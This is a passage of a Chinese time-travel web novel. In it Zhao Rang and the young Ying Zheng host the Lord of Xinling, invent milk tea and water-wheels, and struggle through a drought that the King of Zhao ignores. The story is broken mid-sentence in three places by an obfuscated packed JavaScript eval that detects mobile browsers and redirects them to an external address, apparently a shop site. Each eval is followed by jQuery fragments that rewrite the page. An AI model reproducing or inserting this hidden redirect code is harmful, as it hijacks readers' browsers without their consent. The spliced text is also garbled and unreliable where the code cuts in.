现在男子的全身照还挂在系统屏幕上呢,正是赵壤第一眼看到此人时,他一手背在身后,弯腰低头的形象。
旁边金光闪闪几个大字:信陵君魏无忌。
魏无忌不知道这些内情,笑道:“难怪平原君喜爱你,果真机敏。”
再看旁边的嬴政,对他们的对话一点也不惊讶的样子,心里便有数了:“你也猜出来了?”
嬴政:“信陵君衣着简朴但气质高华,来自魏国却有赵国口音,既知道荀子住在此处,还对阿弟感兴趣,可能的人不过几个而已。”
“既然可能的人不止一个,你又怎能肯定我便是信陵君呢?”
嬴政:“先生提起平原君时亲近自然,显然交情匪浅,便只剩下一个可能了。”
平原君抚掌赞叹:“从前只听说赵壤聪慧,不想你亦不弱于他。”
他略一思索,也就明白了其中缘故,更为嬴政的心性惊叹。
至于说嬴政为什么在魏无忌面前不伪装,那也不奇怪。跟嬴政有仇的是赵国人,又不是魏无忌!
嬴政若表现得过于聪慧,赵王会试图控制他,赵国孩童会变本加厉欺辱他,赵国游侠还可能杀害他。但魏无忌不会这么做,甚至不会将这件事说出去,自然也没有伪装的必要。
心思真是缜密!
这时一位矮小瘦削的妇人推着一辆奇怪的车经过,这车没有车厢,只有一块木板,木板中间楔入一个车轮。车上放着个大箩筐,里面满满登登都是麦粒。
见到这一行三人,妇人遥遥见礼,恭敬中略带亲近,并无畏惧之色。
魏无忌诧异地看着这一幕,既是为赵壤二人与村民的关系,也是为了这车。
这时候贵族与平民等级分明,就连律法都明确地偏袒贵族,导致平民与贵族之间关系紧张,既有畏惧,也有疏远与隐隐对抗,后来《韩非子》总结为:“当是时也,赵氏上下不相亲也,贵贱不相信也”。
赵壤却能与他们相处自然,十分难得。
还有这车……居然能不借助畜力,使人移动远超她力气的重物!
赵壤注意到他的眼神,说道:“村中没有青壮,老弱妇孺力气小,许多重活干不了,有独轮车能便宜一些。”
魏无忌看赵壤的目光十分柔和:“你有一颗仁爱之心啊!”
“算不上什么仁爱,只是他们需要,而我恰好会做罢了。”赵壤挠挠头,有亿点点羞耻。
魏无忌捻着胡须微微一笑,更觉得赵壤纯善了。
他问:“你们二人可愿与我去魏国?”
16.第 16 章
魏无忌循循善诱:“你们去魏国,赵壤的才华可以施展,赵政也不必这般小心谨慎。以你二人之聪慧,日后必定成就不菲,届时赐爵授印、青史留名,岂不美哉?”
赵壤“咦”了一声:“信陵君打算回魏国啦?”
魏无忌摇头:“眼下没这个打算,不过我可以去信为你们引荐。”
赵壤又“咦”一声:“魏王能听你的话?”
魏无忌与赵胜同为战国四公子,在国内的处境也差不多,都被国君忌惮打压,赵王不会轻易用赵胜举荐的人才,魏王自然也是如此。
魏无忌保持微笑:“自然不能直接将你们引荐给魏王,我在国内有许多友人,可假借他们之名令你们见到王上。”
赵壤摆摆小手:“还是算了吧,魏国好像不是特别会用人。”
自从魏武侯开始,魏国最擅长的就不是用人,而是培养人才、然后逼走人才了呢!吴起、商鞅、孙膑、张仪、范雎这些大才都出自魏国,因为被排挤冷落而出走他国。
魏国因此被后世网友戏称为“战国黄埔军校”,“人才孵化基地”。
更戏剧的是,这些人在其他国家做出成就后,都转过头针对魏国,把魏国打得七零八落,彻底失去霸主地位。
有这样的辉煌成就,要不是信陵君在,哪个好人愿意去魏国啊?
魏无忌:“……”
小孩嘴真毒。
他捋捋胡须,笑道:“你们要是愿意,我为你们回国又何妨?”
赵壤:“回去后说话能顶用吗?”
“自然,至少比平原君强一些。”魏无忌傲然。
这倒也不算错,魏无忌招揽人才只看品行与才能,比赵胜要务实许多,所以他手下什么人都有,能力出众者也多,真正的势力比赵胜强。
抛开这些不提,他本人能力也十分出众,有胆识、有魄力,目光长远,在魏国的威望非常高。
但他这些年一直不回去,现在为了他们两个就改变主意了?
赵壤一本正经地摇摇头:“算了吧,我听别人说过,别信男人会为了自己改变,不然会倒霉一辈子。”
魏无忌:“……”
哪里听来的浑话!
嬴政:“信陵君现在回去,要么与魏王争斗不休,要么引颈就戮束手就擒,无论如何都无法施展抱负。您这些年留在赵国,不就是不想陷入这样的境地吗?”
赵壤跟着点头:“您就逗我们玩儿吧!”
魏无忌哈哈一笑,没有否认,心中却颇为惋惜。
他是真的喜欢赵壤,魏无忌虽然出身山东六国,但并没有贵族们眼高于顶的毛病,他性格务实,比别人更能看到赵壤的本事。无论改良犁还是水车,对平民都大有助益,且赵壤能做出这些,就还能做别的,也不一定局限于种田和平民,他心思灵慧,未必不能改良军事器械。
而嬴政也是难得的聪明,小小年纪便如此沉稳,心思又缜密,假以时日必成大才。
有他兄弟二人齐心辅助,正如双管齐下,或许便是魏国再次崛起之机。
但赵壤和嬴政说得也对,只他二人去赵国,很难得到重用。而魏无忌若回去,必然引起动荡,不仅无法令赵壤二人施展才华,反而空耗国力。眼下魏国已然不如从前,周围强敌环伺,实在经不起这样的风险。
他叹息一声,既是错失人才的可惜,也是对魏国处境的无力。
随后压下复杂的情绪,低头看着才刚到他腰间的赵壤:“你既知道我身份,方才便是有意提起宝珠令我难堪的了?”
“您想太多了,我是真的对那宝珠感兴趣。”赵壤喊冤。
他是为了宝珠吗?他是为了积分!
这可是青史留名的东西,要是能看上一眼,让系统收集到相关信息,积分肯定不会低。
还有和氏璧,穿越过来这么久,赵壤还没见过和氏璧呢。
*
村里的孩童每日只上半日课,剩下半日不来也可,来学堂自习也可,负责洒扫的仆臣会盯着他们,不许他们乱跑胡闹。
因此三人到的时候,荀子并他的三个弟子都在。
荀子曾在邯郸待过一段时日,与魏无忌亦有两面之缘,只是不熟悉罢了。魏无忌既来拜访,他自然热情款待。
对于他们这种士人来说,款待方式就是畅谈天下局势。魏无忌全程以弟子向先生请教的态度,极其谦卑。浮丘伯、李斯和韩非偶尔开口,赵壤和嬴政就是纯旁听了。
赵壤接过仆臣送来的冰蜜水,殷勤地给众人斟上,他和嬴政的则是冰奶茶。
这时候已经有茶了,但不是作为饮品,而是当作食材,与米和调料同煮,称为“茗羹”或“茗菜”。还有一种药食法,是把茶当作药材,与其他药材和调料同煮饮用。
平原君得了一些,但他不喜欢这个味道,日常也用不上,于是作为药材赠给荀子。
荀子年纪比赵胜还大上许多,但是身体倍儿棒,每天睡足四个时辰,晨起练剑半个时辰,一天三顿顿顿不落,吃的比韩非还要多,气色红润、中气十足,到赵国这几年,病都没生过几回,自然也用不上茶叶。
赵壤某次去荀子的库房玩儿,见到这玩意儿,眼睛都亮了,荀子便转赠给了他。
之后赵壤就可着劲儿折腾,一时泡茶、一时煮蛋、一时磨成粉做糕饼、一时又加牛乳与蜂蜜做奶茶,用完了就央平原君再寻来给他。
还别说,经他这番折腾,茶叶竟真不一样了。
从前因为茶叶味道苦涩,即使加入许多调料也压不下去,故而并不受欢迎。
但做成糕饼和奶茶,抵消了蜜糖的甜腻之感,多了几分清爽,滋味也更加丰富;泡的茶汤虽然味道差了些,但是苦涩中透着清香,竟也别有一番滋味,荀子很喜欢在著书时饮用,既可提神亦可静心。
至于平时……他也很喜欢奶茶呢!
沏得浓浓的茶底加上煮沸的牛乳,再加入足量蜜、以及用芋和秫米制成的小圆子,直接喝甜而不腻、醇厚香甜,在冰鉴里镇上半个时辰则清爽宜人,比蜜水和蔗浆爽口得多。
只是到底不是常规饮品,不适合用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860406|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来招待客人。只能赵壤和嬴政两个小孩独享啦!
二人喝着加了足足小料的奶茶,听魏无忌与荀子谈论天下大势。这与赵壤和嬴政平时向荀子请教、与浮丘伯三人探讨、乃至听平原君和门客议事都不一样。
魏无忌出身魏国,曾经身居高位,能力即便在战国四公子中也很出众,看事情的角度与眼光也特别些。如今他客居赵国,没有俗务牵绊,与同样没有官职的荀子畅所欲言,好像没什么是他们不敢说的。
赵壤和嬴政听得津津有味,甚至忘记喝奶茶,找仆臣要来笔和竹简,把这段精彩的对话记录下来。
直到二人手快要写断,太阳也逐渐西斜,这次谈话才算结束。
赵壤放下笔,把写满字的几卷竹简递上去,笑嘻嘻道:“等我长大了,就把今日对话写成文章,就叫《荀子与信陵君论事》,肯定能流传千古!”
“那就借你的光了。”魏无忌微微一笑,端起陶杯润喉,突然想起什么,问赵壤和嬴政,“你们喝的是什么?”
赵壤这才想起被自己抛到脑后的奶茶,与魏无忌解释了一番,见他颇有好奇之色,问:“信陵君要尝尝吗?”
魏无忌点头,刚才他就闻到那股香甜的味道了,看赵壤喝得开心,想必滋味不错。
等奶茶的功夫,他又问浮丘伯三人:“你们愿不愿意去魏国?”
是的!魏无忌又看上了荀子的三个弟子。
从前在邯郸时,他与荀子只在宴席上见过两面,也曾简短地聊过几句,但是荀子对魏国无感,以他的地位,也不可能做魏无忌的食客,便没有再深入接触。因此魏无忌只知道荀子带了几个弟子在身边,却不知他们如此出众。
李斯自不必说,韩非口吃,浮丘伯闲云野鹤,但是能力并不下于李斯。
嬴政固然天资出众,但仍需培养,这几人却是立时可用,叫魏无忌心动不已,当着荀子的面就开始“挖墙角”了。
当然,荀子作为先生,并不介意这种形式的挖墙脚,本来他的弟子出师后就要前往各国一展抱负,魏无忌这是认可他的教育,给弟子们提供就业岗位呢。
可惜魏国这个用人单位并不是很得人心,李斯三人都不想去。
魏无忌有点尴尬,更多的是怅然。
遥想当初,魏国也曾强盛一时,魏武卒威震天下,魏文侯用人不拘一格,天下人才纷纷来投,再对比现在,不得不感叹一句今非昔比!
但他没有怅然多久,就被仆臣端上来的奶茶打断。
并不算精美的陶杯里盛着乳白色液体,喝上一口,满嘴都是醇香。
魏无忌从前位高权重,即便如今客居邯郸,也有赵王给的汤沐邑,生活条件并不差。他吃过茶做的菜和羹,也喝过加了蜜的牛乳,都不怎么喜欢,没想到这两样放到一处,竟能有这般奇妙的变化。
喝到最后,他才注意到芋头圆子,捶打得细腻筋道的圆子,配上香甜的奶茶,淀粉加糖,美味翻倍。
在此之前,魏无忌从不知自己有如此重的口腹之欲,连喝了三四杯才罢休。
17.第 17 章
晚上一起用饭,魏无忌再次一饱口福。
一道炙肉、一道酿豆腐、一道凉拌藿菜,主食则是稻饭。
炙肉在这时并不罕见,贵族日常经常食用,宴饮时更是一道好菜。
选取上好的羊羔肉,逆着纹理切成薄片,用盐、剁碎的梅肉或梅子酱、椒磨成的粉一同腌制。腌好的肉用竹签穿成串,在炭火或炙炉上反复炙烤,期间还可以刷上蜜浆,烤至焦香四溢时取出,在俎上切成小块即可食用。
其滋味香甜不腻,魏无忌甚喜。
今日这道炙肉同样以蜜炙烤,但是甜蜜中不乏咸香,加上烤得外焦里嫩的羊肉,口感更加丰富。
酿豆腐不必说,自从赵壤苏出豆腐以来,他自己家、平原君府、成阳君府待客必有相关菜色。
豆腐或许不算贵重,但胜在别处都没有,独一份的稀罕物,对于贵族来说比八珍和珍惜野味更体面。更别说这还是自家孩子弄出来的东西,且豆腐的确争气,口感细腻独特,配上赵壤给的食谱,怎么做都好吃。
藿菜是熟的,加入佐料调味,甘脆爽口。
魏无忌知道赵壤于饮食一道有些天赋,也在赵胜府上品尝过他研究出来的菜色。但为了赵胜的身体,那些菜都较为清淡。同样一道凉拌菜,给赵胜的便会少加或者不加茱萸、椒等辛辣刺激的佐料,风味自然不同一些。
他吃得非常满足,环顾四周,只见赵壤不停把自己面前相对较肥的炙肉挑给嬴政,从表情来看,是他不太喜欢吃的;浮丘伯一口豆腐一口米饭,吃得头也不抬;李斯给韩非换了一杯不那么冰的梅浆,注意到魏无忌的眼神,他微笑道:“信陵君今日便在寒舍暂住一晚吧。”
魏无忌本来是打算回去的,虽说时辰已经不早了,但是夏季天黑得晚,用完饭再回去问题不大。
但今日所见所闻超乎他的预料,不论是嬴政和赵壤两个天资出众的孩子,还是荀子这三位能力不凡的弟子,村里那些新鲜东西、还有这可口的饭食,都叫魏无忌流连忘返,听到李斯这话,便顺水推舟答应下来。
用过饭,距离日落还有一段时间,荀子便让赵壤和嬴政带魏无忌去村里转一转。
魏无忌看荀子一眼,起身与二人同去。
这次魏无忌看到了更多东西——
有用来打水的辘轳:跨井口竖起两根支架,其上架一根孩童环抱粗的圆木头,木头上缠着长长的麻绳,一端则连着曲折的手柄,使用时把木桶挂在圆木的麻绳上,任由其沉到井底,等到汲满水,便摇动手柄使圆木旋转,展开的麻绳一圈圈缠绕上来,木桶就被提上来了。看起来和桔槔有些相似,区别是桔槔只能打浅处的水,辘轳却可以打几十尺深的井水,日常吃水用它很便宜。
还有脚踏碓:用脚踩地上的木杆,松脚时另一端落下,木杵砸入石臼以舂米,用以代替传统舂米方式。
他还在打谷场上见到了眼熟的风轮,只是比起平原君府上那两个,这里的要大上许多,村民将晒好的麦粒高高扬起,风轮吹出的风将秕谷和碎壳吹走,留下的便是好麦。从前这一环节依赖天气,有了风轮便自在多了。
……
赵壤的父母就是从农村里走出来的,他小时候寒暑假经常去爷爷奶奶家长住,见过这些东西,故而给弄出来了。
魏无忌看得默然:“竟不知你私下做了这么多。”
真该叫赵王来这里看看!
再次回到学堂,天也差不多黑了,赵壤和嬴政告别众人,蹦蹦跳跳(特指赵壤)归家去,远远还能听见赵壤欢快的声音:“阿兄,你背我!”
听不到嬴政说了什么,不过显然是拒绝了,赵壤紧接着道:“小气!”
不过听声音活力不减,显然并没有生气。
魏无忌收回视线,和荀子回到房间里。浮丘伯三人各有事做,房间里只有他们二人,魏无忌于是直白地问:“荀卿是想让我在赵王面前为赵壤美言吗?”
魏无忌作为窃符救赵的功臣,在赵王跟前颇有体面,方才荀子特意让赵壤二人带他去村里转,难怪魏无忌会这么想。
荀子却摇头:“赵王无心,劝也无用。我只是想让你在关键时候护一护两个孩子而已。”
“他们会有危险?”魏无忌皱眉。
荀子:“木秀于林,风必摧之;行高于众,人必非之①。赵壤太过与众不同,性子又刚硬,很容易招致祸患啊!”
是的,别看赵壤平时总乐乐呵呵,看起来脾气很好的样子,但荀子看得出来,他内心自有一套想法,与众不同,且不会退让。
魏无忌也看得出这一点,但他只是反问:“我为何要帮他们?他们又不愿投效于我。”
“信陵君仁心厚德、侠义为先,既认可他们的本事,便不会弃之不顾。”荀子正色道,“赵壤做出的东西,信陵君若有兴趣,尽可交予魏国。”
“果真?”魏无忌脊背挺直,身体微微前倾,聚精会神地看着荀子,“荀卿能替赵壤做主?”
他当然想要这些东西,但正如荀子所说,魏无忌骨子里有些侠义在,不愿意不问而窃之。如果赵壤愿意赠予他,那就另当别论了。
荀子摇摇头:“不必我替赵壤做主,他心有大爱,本无国家之分,只要能帮到平民,他会高兴的。”
魏无忌再次默然,叹道:“赵王无眼啊!”
谁说不是呢!
二人相顾无言,过了一会儿,荀子才出声提点:“赵壤这里不是问题,但赵王和平原君却不会让你把图样送出去,你可有打算?”
“荀卿且安心,这点本事我还是有的。”魏无忌颇为自信。
荀子想到他麾下各有才能的异士,不再多问了。
二人就此事达成默契,便也放松下来,说些轻松的话题。
魏无忌感慨道:“赵壤与赵政能有卿这样的先生,是他们的福气啊!”
荀子捋着胡须笑:“焉知不是我的运气呢?”
魏无忌一愣,细细思量片刻,先是惊讶,再是恍然:“先生竟如此看好赵政?”
是的,仅凭现在的赵壤还不足以让荀子说出这样的话,那就只能是因为嬴政了。
原因也不难猜。
十几年前,荀子曾受邀入秦,并且给出了很高的评价。
他认为秦国治理得很好,只是太过刚硬,缺乏仁义道德的教化,也就是前面所说的“秦国无儒”。
秦国以出身微寒和作风强硬为山东六国不喜,儒家也有不入秦的传统,荀子甘冒天下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866078|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之大不韪,哪怕被传统儒家猛烈抨击也未曾后悔,自然是因为他看好秦国,想要借秦国实现自己的思想,或者说……结束乱世。
可惜当日秦王并没有采纳他的建议,如今是打算从赵政入手了?
荀子微微一笑,没有回答这个问题。
他原本并不是很看好嬴政,这不是嬴政的问题,而是世道的问题。
即便荀子认为七国之中最可能统一天下的就是秦国,也得是数十年后的事了,刚统一的王朝仍旧动荡不安,国家因连年战争虚弱不堪,急需休养生息,等到修养好,嬴政也该走到暮年,想做什么也做不成了。
但上天待他和兆亿庶民不薄,让赵壤出现在嬴政身边。
赵壤的才能摆在那里,只要能得到重用,即便不能帮助秦国提前一统,也能减少国力损耗,以最快速度完成休养生息。
更重要的是他有大爱,从不如其他贵族一般把庶民当工具,在他眼里,庶民和贵族都是活生生的人。受他的影响,嬴政眼里也映上了庶民的影子,因经历导致的压抑及些许急躁都在被一点点磨去,变得更加踏实而圆融。
用后世的话来说就是:接地气儿。
这让荀子对他多了几分信心。
*
这天夜里,魏无忌房里的灯燃到深夜,第二日天蒙蒙亮,村民尚未起身,便有一骑离开小村庄,向着魏国的方向去了。
即便昨夜睡眠不足,魏无忌起来时照样精神抖擞,拿着剑在院子里舞了许久,还和荀子比划了几下,体力充沛得令韩非这种弱鸡羡慕不已。
用过早饭,赵壤和嬴政也来了,今儿赵壤可不是魏无忌初见他时湿了衣服的狼狈样,他穿得干净整洁,露出腼腆的笑,看起来乖巧可爱极了。
可惜魏无忌已经知道此人乖巧外表下皮皮虾的灵魂。
他收起剑,冲二人招手:“来来来,今日我也瞧瞧你们二人如何念书的。”
他看向一旁的荀子:“可否?”
荀子含笑道:“不如请信陵君为他二人授业?”
魏无忌立马就答应了。
赵壤和嬴政对视一眼,都有些无奈:先生真是致力于让前来拜访的每一位大佬给他们两个授课啊!
廉颇、庞煖、公孙龙……现在又加了个魏无忌。
这种授课当然与浮丘伯三人不同,而是答疑解惑,与荀子更为相似,魏无忌与荀子不同的思想和经历,让他往往能从其他角度给出答案,令人耳目一新。
一上午下来,二人收获颇丰。而魏无忌观察半日,也不得不承认嬴政的确比他想象中更好,内心不禁微微泛酸——
秦国怎么就这么好运气?下一代又出了这么个好苗子!
只是不知他是否有运气回到秦国继承王位。
……
魏无忌走后,赵壤再次投入到龙骨翻车的大业中,用了十几天时间,终于制作并试用成功。
此时距离上次下大雨已经过去一个多月,期间有过两次小雨,但都是刚浇湿地皮就停了,田地里即便铺着秸秆,也开始干得厉害。
好在河水还没有断,尚可以汲水灌溉。
赵壤就是在这种情况下,带着龙骨翻车的设计图进了平原君府大门。
18.第 18 章
赵壤这次来,是想请赵胜把龙骨翻车的图纸献给赵王。
虽说因为上次改良犁的事,他对赵王已经没什么信心,但事关无数平民的生存,他不得不再试一试。
再说这次情况不一样,眼下干旱已成定局,想必赵王也心急如焚,应该不会拒绝一个好用的汲水工具。
赵壤抱着希望向赵胜说了他的想法,赵胜却只是垂下眼睑,说道:“前日我已经与王上提过此事了。”
赵壤心中升起不妙的预感:“王上没有答应?”
“王上的意思是,此物尚未经过验证,不宜大肆推广。”赵胜道。
赵壤蹙着的眉毛缓缓松开,笑道:“那没事儿,我们已经做了一架龙骨翻车出来,昨天已在河边试用过了,村民都说很好用呢,这一点王上不用担心。”
赵胜却摇头:“才不过一日,不算经过验证。这水车工艺精巧、制作复杂,需要的木材也多,倘若制成后用不了多久,岂非成了王上的过失?”
赵壤刚舒缓的眉心又缓缓皱紧:“都已经火烧眉毛,哪来的那么多时间验证?王上要是不放心,尽可找可靠的匠人评验,哪能因此便弃之不用呢?”
他真是有被气到,怕担责任就不救灾,这赵王是个什么玩意儿?!
他在心里把赵王骂了百八十遍,才勉强压下怒气,恳求道:“王叔再与王上说一说吧,平民可等不得呢。”
赵胜叹息一声,说道:“我也不瞒你,如今赵国势微,各国都虎视眈眈,就连燕国都在边境蠢蠢欲动,大有动兵的打算,王上忙着部署军事,无心管这些了。”
赵壤哑然。
“国之大事,在祀与戎”。自古以来,祭祀与战争都是国家的头等大事,更何况赵国重军事而轻农业,做出这样的选择并不奇怪。
他只是感到无力,明明有机会挽救,却只能眼睁睁看着平民走向深渊。
他声音低了下来,虽然明知道答案,还是不死心地问一句:“这么说,挖掘陂塘蓄水也不能了?”
陂塘就是这时候的水库,利用天然洼地筑坝,或直接用现有湖泊制成,平时储水,干旱时便可用来浇灌农田。
赵壤想要趁着现在还有水挖几个陂塘,只是工程量巨大,仅靠平民肯定不行,少不得依靠政府。按赵壤的意思,最好是出动军队。
但看现在的情况,显然希望不大。
果然不出他所料,赵胜再次摇头:“想要挖陂塘也可,只是要征发徭役。”
那还是算了!眼下这个节点,平民照料自家田地尚且不及,再来一个徭役,那是真要了他们的命了!
赵壤面无异色地走出平原君府,上了马车后肩膀便塌了下来,垂头丧气地对嬴政道:“阿兄,你是对的。”
来之前嬴政便不支持赵壤,认为他必定白费心思,但赵壤不甘心,抱着侥幸之心来了一趟,结果果然如嬴政所料。
料中结果的嬴政并不高兴,他沉默片刻后开口:“赵王不管也无妨,我们自己推行水车便是了。”
赵壤唉声叹气:“哪有那么容易?”
平民眼光有限,接受新事物的能力也弱,没有政府半激励半强制地推行,哪里能轻易接受水车这种大型农具?
不过眼下已经无路可走,这是唯一的办法,只能尽力一试,给平民一个自救的机会。
赵壤又回到平原君府上,找赵胜借几个会作画的臣妾,把水车图样画了十几卷,然后驾着马车在邯郸城跑了一圈,与城中十几位木匠达成合作。
是的,合作。
赵壤本打算把图纸送给他们,但考虑过后觉得不大合适。
白得的东西总是不被珍惜,水车这东西又较为精巧,难度大、耗材多,木匠研究不明白,恐怕就要将之束之高阁,这便与赵壤的目的背道而驰了。
所以赵壤选择以图纸和金钱入股,为木匠解决技术和一半初始成本,所得利润三七分。
果然,一开始对图纸持怀疑态度的木匠们听到这个条件便安心多了,这也不难理解,站在他们的角度,凭白有人上门送图纸,心中肯定要打个问号,怀疑这人脑子有病,或者在用假图样耍他们玩,但如果是为了赚钱就合理多了,更何况赵壤还承担了一半材料成本,如果做不成他也要亏。
难道他还会坑自己吗?
至于说分三成利润给赵壤,的确有一点肉疼,但一来赵壤承诺有任何技术问题都可以找他,这便解决了一大半后顾之忧,二来赵壤还把找客人的事也给包了,多做几笔生意,可比吝惜三成利润划算多了。
之后赵壤又找到邯郸城里的行商和游侠,给他们一笔钱,让他们把水车的消息散播出去,并且请他们代为售卖图样,所得银钱照样三七分。
这时候除了周游列国的士人,便是行商和游侠活动范围最广,传播消息也最快,普通人互通有无全靠他们。
赵胜和魏无忌暗中推了一把,让消息传得更远些,荀子为水车作了篇朗朗上口的小短文,在平民之中传唱。
做完这些,赵壤便没什么可做的了,只能焦急地等待情况,并且祈祷系统对天气的预测不准确。
后世天气预报不也时常不准吗?
可惜系统所在时代科技发达得多,天气预报也准确得多,时间一天天过去,河里水位一点点变低,依旧只是偶尔下一点雨,众人盼望的甘霖迟迟不到。
村里已经建起第二架水车,但眼下最重要的不止汲水,还有水源问题。村民自行修整了几个天然水洼,在里面蓄满了水,但若再这样下去,这点水不过杯水车薪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870370|190513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这时候他们不再顾忌辛劳,把建水车后挖的简易沟渠仔细修理,以草拌泥铺在沟渠内壁,再不断踩压夯实减少渗漏,以免浪费宝贵的水资源;他们还一遍遍地松土保熵、挖深水井、开始吃得很少、采集野菜乃至树叶等能入口的东西晒干存起来。
值得一提的是,在大半个月前,大部分人家都拔了一部分豆子,改种耐旱的黍和粟。并且机智地在沟渠周围和河边合适的地方种上了粮食。
到了这个时候,高高在上的赵王终于低下他高贵的头颅,看到了蝼蚁一般在他脚下艰难求存的庶民,终于意识到不妥:哦,我的长工们快饿死了!
他有点慌了,于是也行动起来。
他的行动就是,emmm……祈雨。
在平民在田地里挥汗如雨,为了蓄水绞尽脑汁,为了省点粮食饿得头晕眼花时,赵王身着丝绸制成的素服,率领百官浩浩荡荡到南郊设坛,以玉帛、牛羊猪为祭品、奏乐并跳着祭祀舞蹈,宣读旁人代写的祷文,祈求上天垂怜,为他的子民降下甘霖。
得到这个消息的赵壤顾不得遮掩,当着荀子和浮丘伯三人的面冷笑出声。
在这个神道设教的时代,祭祀是应对灾情的常规操作,但脑子正常的统治者绝不会只有这一个动作,还会积极治理、赈济灾民。
赵王当然也有别的动作,他非常大方地下令,受灾地区可减免部分税赋。
是部分,不是全部哦~
也是!要是免除全部税赋,军队的粮草从哪来?
要不是再不免税平民就真的要饿死,他恐怕连这点也舍不得呢。
在赵壤看来,赵王祭祀就是一场政治表演,主要起免责声明的作用:寡人已经尽力与上天沟通,再有灾情便是天意,可不能怪寡人啦!
比起耗费大量人力物力去推广水车、挖掘陂塘,举办这样一场祭祀自然划算得多!
无耻!
又过几日,赵壤又得到一个消息,邯郸城附近会做水车的木匠都被贵族“请”去了,如今平民便是想做也不成了。
幸而赵胜拖着病体去见了赵王一面,才让他们吐了一部分匠人出来。
赵壤已经懒得吐槽了,他现在日□□问系统,想知道有没有能在古代用的人工降雨技术。
系统:[没有这种技术哦亲亲。]
赵壤:[垃圾!]
系统:[……]
如此进入七月,已过去作物关键的拔节长叶期,进入更加关键的抽穗期,但是植株矮小瘦弱,出穗小而不齐,今年减产已成定局。更可怕是的河水也已接近枯竭,如今水车已经汲不出水了,如果再不下雨,下半年可能就要绝收了。
平民因困苦而日渐麻木的脸上终于露出生动的神色:那是绝望和恐惧!
19.第 19 章
好在天无绝人之路,即将进入七月下旬的关口,终于下雨了!
不是极大的雨,但比起从前淅淅沥沥的一点点要好许多,至少能把地表浇透,此前几天,河水已经彻底干涸,即便用瓢也舀不起来水了,这场雨是真正意义上的及时雨。
几天后又下了一场,同样不是很大,但连续的两场雨给了平民巨大希望。
旱情过去了!
赵壤看着系统里的天气预测,提着的心也落了下来。
天气的干旱已经过去,但其带来的影响却没那么容易磨灭。粮食错过了关键的生长期,黍和粟抽穗不齐、穗小籽秕,菽(大豆)的生长需要大量水,偏偏在最重要的开花结荚期遇上干旱,导致落花落荚极为严重,少量豆荚中也有大半空荚。
好在有桔槔和水车,在干旱前期,河水水位尚可以支撑的时候,他们一直在坚持人工灌溉,多少还能收一些粮食,听说没有水车、或者水车建得比较晚的地方,干旱更加严重呢。
村民对赵壤非常感激。
赵壤坐在马车里,心里却沉甸甸的。
路两边都是农田,放眼望去稀稀拉拉,跟两个月前郁郁葱葱的样子大相径庭。正值青黄不接的时期,饥民本就比上半年多一些,如今遇到这种事,便比往年更多了。
往年这个时候,赵壤去邯郸时总会多准备些磨好的熟麦粉或者豆粉,遇到快饿死的人时用热水冲泡以救命,今年却不行了,只因饥民太多,靠他一人救不过来。
到了平原君府上,赵胜正在与门客议事。
见到赵壤和嬴政进来,他们暂且停下,冲赵壤露出和善笑容,还有门客与他搭话,夸赞道:“此次邯郸旱情,公子的水车居功至伟。”
赵壤连忙摆手,表示没有没有。
门客又夸他有先见之明,推广水车的办法也好,盛名之下无虚士,无愧神童之名云云。
这些人想要夸一个人的时候水平不要太高,赵壤被一大堆溢美之词包裹,都晕晕乎乎的了。
还是赵胜解救了他:“诸君不要太过褒扬了,他年纪还小,尚需好好历练。”
赵壤连连点头:“还得诸君多多指教!”
众人都扬起善意微笑,结束了这场商业互夸,赵壤悄悄舒口气,劫后重生一般。
这种场面实在太为难他这个i人了,还不如从前客客套套的时候自在呢。
嬴政看他一眼,似乎有些无语。
二人照旧在末席坐下,今日赵胜与门客说的正是旱情之事。
按照他们的说法,此次受灾区域并不大,且最严重的主要在邯郸附近,其他地方则好得多。而邯郸附近是龙骨翻车推行最好的地方,因此此次旱情看着吓人,实则损失不是很大。
这个不大是对比同等程度的旱情来说的,实际上这么严重的干旱,对平民的生活依旧是巨大打击,甚至如果没有赈济,相当一部分灾民会在接下来的数月内相继饿死。
但听他们的意思,赵王并没有开仓放粮的打算,他的赈济方式就是免除邯郸附近部分地区的税赋,开放山林菏泽,允许平民渔猎。
赵壤:“……”
首先,赵王只免除了部分地区的税赋,如赵壤所在的小村落这种受旱情影响相对较小的,还是要交税的哦~
赵壤理解朝廷能力有限,需要根据受灾情况分区救济,但邯郸这么屁大点的地方都要分三六九等,是不是太小家子气了?
又不是叫他从兜里往外掏粮食,只是暂停一年的税收而已啊!
开放山林菏泽就更可笑了,山里和水里才能有多少东西,能养活多少灾民?这跟让他们自生自灭有什么区别?
赵壤努力深呼吸,才勉强做好表情管理,没有当场露出不悦来。
偏偏门客还来问他的意见:“公子壤可有良策?”
